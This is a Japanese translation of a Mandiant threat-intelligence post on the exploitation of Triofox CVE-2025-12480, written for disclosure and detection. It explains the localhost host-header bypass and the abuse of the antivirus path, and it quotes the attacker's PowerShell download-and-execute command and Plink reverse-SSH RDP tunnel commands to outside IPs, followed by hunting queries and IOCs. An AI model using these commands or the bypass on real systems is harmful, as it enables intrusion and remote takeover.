著者: Stallone D’Souza、Praveeth DSouza、Bill Glynn、Kevin O’Flynn、Yash Gupta
Frontline Bulletinシリーズへようこそ
Mandiant Threat Defenseから直接、「Frontline Bulletin」シリーズは、現在野外で見られている最新の脅威をお届けし、コミュニティが理解および対応できるよう支援します。
はじめに
Mandiant Threat Defenseは、Gladinetのファイル共有およびリモートアクセスプラットフォームであるTriofoxの認証なしアクセス脆弱性の悪用を発見しました。この現在パッチされているn-day脆弱性はCVE-2025-12480に割り当てられており、攻撃者が認証をバイパスしてアプリケーション設定ページにアクセスでき、任意のペイロードのアップロードと実行が可能でした。
2025年8月24日の時点で、Google Threat Intelligence Group(GTIG)によってUNC6485として追跡される脅威クラスターが認証なしアクセス脆弱性を悪用し、これをビルトインウイルス対策機能の悪用と組み合わせてコード実行を達成しました。
このブログポストで説明された活動は、Triofoxバージョン16.4.10317.56372の脆弱性を利用しており、これはリリース16.7.10368.56560で軽減されました。
Gladinetはネットの発見について当社と関わり、Mandiantはこの脆弱性がTriofoxの新しいバージョンで解決されたことを検証しました。
初期検出
MandiantはGoogle Security Operations(SecOps)を活用して、顧客ベース全体のセキュリティインシデントを検出、調査、対応しています。Google Cloud Securityの共有運命モデルの一部として、SecOpsは顧客がエンタープライズへの脅威を特定するのに役立つよう設計されたすぐに使用できる検出コンテンツを提供しています。Mandiantは複数のルール出力を関連付けるSecOpsの複合検出機能を使用して、検出ポスチャを強化しています。
この調査のため、Mandiantは顧客のTriofoxサーバー上の潜在的な脅威アクターの活動を特定する複合検出アラートを受け取りました。アラートはリモートアクセスユーティリティ(PLINKを使用したRDPの外部トンネリング)の展開および使用と、潜在的なステージングディレクトリ内のファイルアクティビティ(C:\WINDOWS\Tempへのファイルダウンロード)を特定しました。
調査開始から16分以内に、Mandiantは脅威を確認し、ホストの封じ込めを開始しました。調査により、設定ページへのアクセスを許可する認証なしアクセス脆弱性が明らかになりました。UNC6485は新しいネイティブ管理者アカウントCluster Adminを作成するためにこれらのページを使用してTriofoxの初期セットアッププロセスを実行し、このアカウントを使用して後続のアクティビティを実行しました。
Triofox認証なしアクセス制御脆弱性

図1: CVE-2025-12480の悪用チェーン
Mandiant調査中に、HTTPログファイル内の異常なエントリ(HTTPヘッダーを含む疑わしいHTTP GETリクエスト)を特定しました。外部ソースから発信されたリクエストに存在するlocalhostホストヘッダーの存在は非常に不規則であり、通常は正当なトラフィックでは予期されていません。
GET /management/CommitPage.aspx - 443 - 85.239.63[.]37 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/101.0.4951.41+Safari/537.36 http://localhost/management/AdminAccount.aspx 302 0 0 56041
図2: HTTPログエントリ
テスト環境内で、MandiantはAdminAccount.aspxに対して発行された標準HTTPリクエストがアクセス拒否ページへのリダイレクトをもたらすことに気づきました。これはアクセス制御がページに設定されていることを示す表示です。

図3: AdminAccount.aspxを閲覧しようとした際のAccessDenied.aspxへのリダイレクション
AdminAccount.aspxページへのアクセスはAdminDatabase.aspxの初期設定ページからのセットアップの一部として付与されます。AdminDatabase.aspxページはTriofoxソフトウェアの初回インストール後に自動的に起動されます。このページにより、ユーザーはTriofoxインスタンスをセットアップでき、データベース選択(PostgresまたはMySQL)、LDAPアカウントの接続、新しいネイティブクラスター管理者アカウントの作成などのオプション、および追加詳細があります。
AdminDatabase.aspxページの参照の試みは、アクセス拒否ページへの同様のリダイレクトをもたらしました。

図4: AdminDatabase.aspxを閲覧しようとした際のAccessDenied.aspxへのリダイレクション
Mandiantはセットアッププロセスのワークフローをテストすることで脆弱性を検証しました。 ホストヘッダーフィールドはWebクライアントによって提供され、攻撃者によって簡単に変更できます。この手法はHTTPホストヘッダー攻撃と呼ばれます。Host値をlocalhostに変更すると、AdminDatabase.aspxページへのアクセスが付与されます。

図5: ホストヘッダーをlocalhostに変更してAdminDatabase.aspxへのアクセスを許可
AdminDatabase.aspxページを通じてセットアッププロセスに従い、新しいデータベースを作成することで、管理者初期化ページAdminAccount.aspxへのアクセスが付与され、その後InitAccount.aspxページにリダイレクトされて新しい管理者アカウントが作成されます。

図6: InitAccount.aspxの管理者作成ページへの正常なアクセス

コードベースの分析により、AdminDatabase.aspxページへのメインアクセス制御チェックは関数CanRunCrticalPage()によって制御されることが明らかになりました。この関数はC:\Program Files (x86)\Triofox\portal\bin\GladPageUILib.dll内のGladPageUILib.GladBasePageクラスに位置しています。
public bool CanRunCriticalPage()
{
Uri url = base.Request.Url;
string host = url.Host;
bool flag = string.Compare(host, "localhost", true) == 0; //Request.Url.Hostが「localhost」に等しい場合、ページへのアクセスが付与され、true の場合他のすべてのチェックをスキップします
bool result;
if (flag)
{
result = true;
}
else
{
//web.configファイルで事前設定された信頼できるIPをチェックします。設定されている場合、クライアントIPを信頼できるIPと比較してアクセスを付与します
string text = ConfigurationManager.AppSettings["TrustedHostIp"];
bool flag2 = string.IsNullOrEmpty(text);
if (flag2)
{
result = false;
}
else
{
string ipaddress = this.GetIPAddress();
bool flag3 = string.IsNullOrEmpty(ipaddress);
if (flag3)
{
result = false;
}
else
...
図8: CanRunCrticalPage()関数内の脆弱なコード
コードスニペットで述べられているように、このコードは複数の脆弱性を呈しています:
-
ホストヘッダー攻撃 – ASP.NETは
Request.UrlをHTTPホストヘッダーから構築し、攻撃者によって変更される可能性があります。 -
Origin検証なし – リクエストが実際の
localhost接続から来たのか、スプーフされたヘッダーから来たのかについての確認がありません。 -
設定依存 –
TrustedHostIPが設定されていない場合、唯一の保護はホストヘッダーチェックです。
Triofoxアンチウイルス機能の悪用
コード実行を達成するために、攻撃者は新たに作成された管理者アカウントを使用してログインしました。攻撃者は、ビルトインアンチウイルス機能を使用して悪意のあるファイルをアップロードして実行しました。アンチウイルス機能をセットアップするために、ユーザーは選択されたアンチウイルスの任意のパスを提供することが許可されています。アンチウイルススキャナーの場所として設定されたファイルは、Triofoxの親プロセスアカウント権限を継承し、SYSTEMアカウントのコンテキスト下で実行されます。
攻撃者は悪意のあるバッチスクリプトを実行できました。アンチウイルスエンジンのパスを自分のスクリプトに指すように設定することで。ディスク上の共有フォルダーのフォルダーパスは、Triofoxアプリケーション内で新しい共有を公開する際に表示されます。その後、Triofoxインスタンス内の公開された共有にアップロードされた任意のファイルに対して設定されたスクリプトが実行されます。

図9: 悪意のあるバッチスクリプトに設定されたアンチウイルスエンジンパス
SecOpsテレメトリーは攻撃者スクリプトの以下のコマンドライン実行を記録しました:
C:\Windows\system32\cmd.exe /c ""c:\triofox\centre_report.bat" C:\Windows\TEMP\eset_temp\ESET638946159761752413.av"
搾取後のアクティビティ

図10: 搾取後のアクティビティの概要
サポートツール展開
攻撃者スクリプトcentre_report.batは、2番目ステージペイロードをダウンロードおよび実行するために以下のPowerShellコマンドを実行しました:
powershell -NoProfile -ExecutionPolicy Bypass -Command "$url = 'http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip'; $out = 'C:\\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe'; Invoke-WebRequest -Uri $url -OutFile $out; Start-Process $out -ArgumentList '/silent' -Wait"
PowerShellダウンローダーは以下を実行するように設計されました:
-
http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zipからペイロードをダウンロードします。これはZIP拡張子にもかかわらず、偽装された実行ファイルをホストしていました -
ペイロードを:
C:\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exeに保存します -
ペイロードをサイレント実行
実行されたペイロードは、Zoho Unified Endpoint Management System(UEMS)ソフトウェアインストーラーの正当なコピーでした。攻撃者はUEMSエージェントを使用して、Zoho AssistおよびAnydesk リモートアクセスユーティリティをホスト上に展開しました。
偵察と権限昇格
攻撃者はZoho Assistを使用して、アクティブなSMBセッションおよび特定のローカルおよびドメインユーザー情報を列挙するためのさまざまなコマンドを実行しました。
さらに、既存のアカウントのパスワードを変更し、アカウントをローカル管理者および「Domain Admins」グループに追加しようとしました。
防御回避
攻撃者はsihosts.exeとsilcon.exe(正当なドメインthe.earth[.]liから供給)をディレクトリC:\windows\temp\にダウンロードしました。
|
ファイル名 |
元のファイル名 |
説明 |
|
sihosts.exe |
Plink (PuTTY Link) |
SSH接続を作成するための一般的なコマンドラインユーティリティ |
|
silcon.exe |
PuTTY |
SSHおよびtelnetクライアント |
これらのツールは暗号化トンネルをセットアップするために使用されました。ポート433経由でSSHを介してコマンド&コントロール(C2またはC&C)サーバーに侵害されたホストを接続します。その後、C2サーバーはトンネルを介したすべてのトラフィックを侵害されたホスト上のポート3389にリダイレクトでき、インバウンドRDPトラフィックが許可されます。コマンドは以下のパラメータで実行されました:
C:\windows\temp\sihosts.exe -batch -hostkey "ssh-rsa 2048 SHA256:<REDACTED>" -ssh -P 433 -l <REDACTED> -pw <REDACTED> -R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46
C:\windows\temp\silcon.exe -ssh -P 433 -l <REDACTED> -pw <REDACTED>-R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46
結論
この脆弱性はTriofoxバージョン16.7.10368.56560で修正されていますが、Mandiantは最新リリースへのアップグレードを推奨しています。さらに、Mandiantは管理者アカウントの監査を推奨し、Triofoxのアンチウイルスエンジンが不正なスクリプトまたはバイナリを実行するように設定されていないことを確認することをお勧めします。セキュリティチームは、このポストの下部に記載された当社のハンティングクエリを使用して攻撃者ツールのハンティングを実行し、異常なアウトバウンドSSHトラフィックを監視する必要があります。
謝辞
Elvis Miezitis、Chris Pickett、Moritz Raabe、Angelo Del Rosario、Lampros Noutsos への特別な感謝
Google SecOpsを通じた検出
Google SecOpsの顧客は、Mandiant Windows Threats ルールパック下のこれらの広いカテゴリのルール以上にアクセスできます。ブログポストで説明されているアクティビティはGoogle SecOpsの下のルール名で検出されます:
-
Gladinet or Triofox IIS Worker Spawns CMD
-
Gladinet or Triofox Suspicious File or Directory Activity
-
Gladinet Cloudmonitor Launches Suspicious Child Process
-
Powershell Download and Execute
-
File Writes To AppCompat
-
Suspicious Renamed Anydesk Install
-
Suspicious Activity In Triofox Directory
-
Suspicious Execution From Appcompat
-
RDP Protocol Over SSH Reverse Tunnel Methodology
-
Plink EXE Tunneler
-
Net User Domain Enumeration
SecOpsハンティングクエリ
以下のUDMクエリを使用して、環境内の潜在的な侵害を識別できます。
GladinetCloudMonitor.exeが Windows Command Shellをスポーン
正当なGladinetCloudMonitor.exeプロセスがWindows Command Shellをスポーンしている場合を特定します。
metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /GladinetCloudMonitor\.exe/ nocase
target.process.file.full_path = /cmd\.exe/ nocase
ユーティリティ実行
名前が変更されたPlink実行ファイル(sihosts.exe)または名前が変更されたPuTTy実行ファイル(silcon.exe)の実行を特定します。これはリバースSSHトンネルを確立しようとしています。
metadata.event_type = "PROCESS_LAUNCH"
target.process.command_line = /-R\b/
(
target.process.file.full_path = /(silcon\.exe|sihosts\.exe)/ nocase or
(target.process.file.sha256 = "50479953865b30775056441b10fdcb984126ba4f98af4f64756902a807b453e7" and target.process.file.full_path != /plink\.exe/ nocase) or
(target.process.file.sha256 = "16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad" and target.process.file.full_path != /putty\.exe/ nocase)
)
|
アーティファクト |
説明 |
SHA-256ハッシュ |
|
C:\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe |
Zoho UEMSエージェントを含むインストーラー |
|
|
C:\Windows\temp\sihosts.exe |
Plink |
|
|
C:\Windows\temp\silcon.exe |
PuTTy |
|
|
C:\Windows\temp\file.exe |
AnyDesk |
|
|
C:\triofox\centre_report.bat |
攻撃者バッチスクリプトファイル名 |
N/A |
ネットワークベースのアーティファクト
|
IPアドレス |
ASN |
説明 |
|
|
|
CVE-2025-12480を初期に悪用して管理者アカウントを作成し、Triofoxインスタンスへのアクセスを取得するために使用された攻撃者のIPアドレス |
|
|
|
休止期間の後、脅威アクターはこのIPアドレスを使用してTriofoxインスタンスにログインし、後続のアクティビティを実行しました |
|
|
|
Zoho UEMSエージェント リモートアクセスツールのインストーラーをホストするIPアドレス |
|
|
|
Plink C2 |
翻訳元: https://cloud.google.com/blog/topics/threat-intelligence/triofox-vulnerability-cve-2025-12480/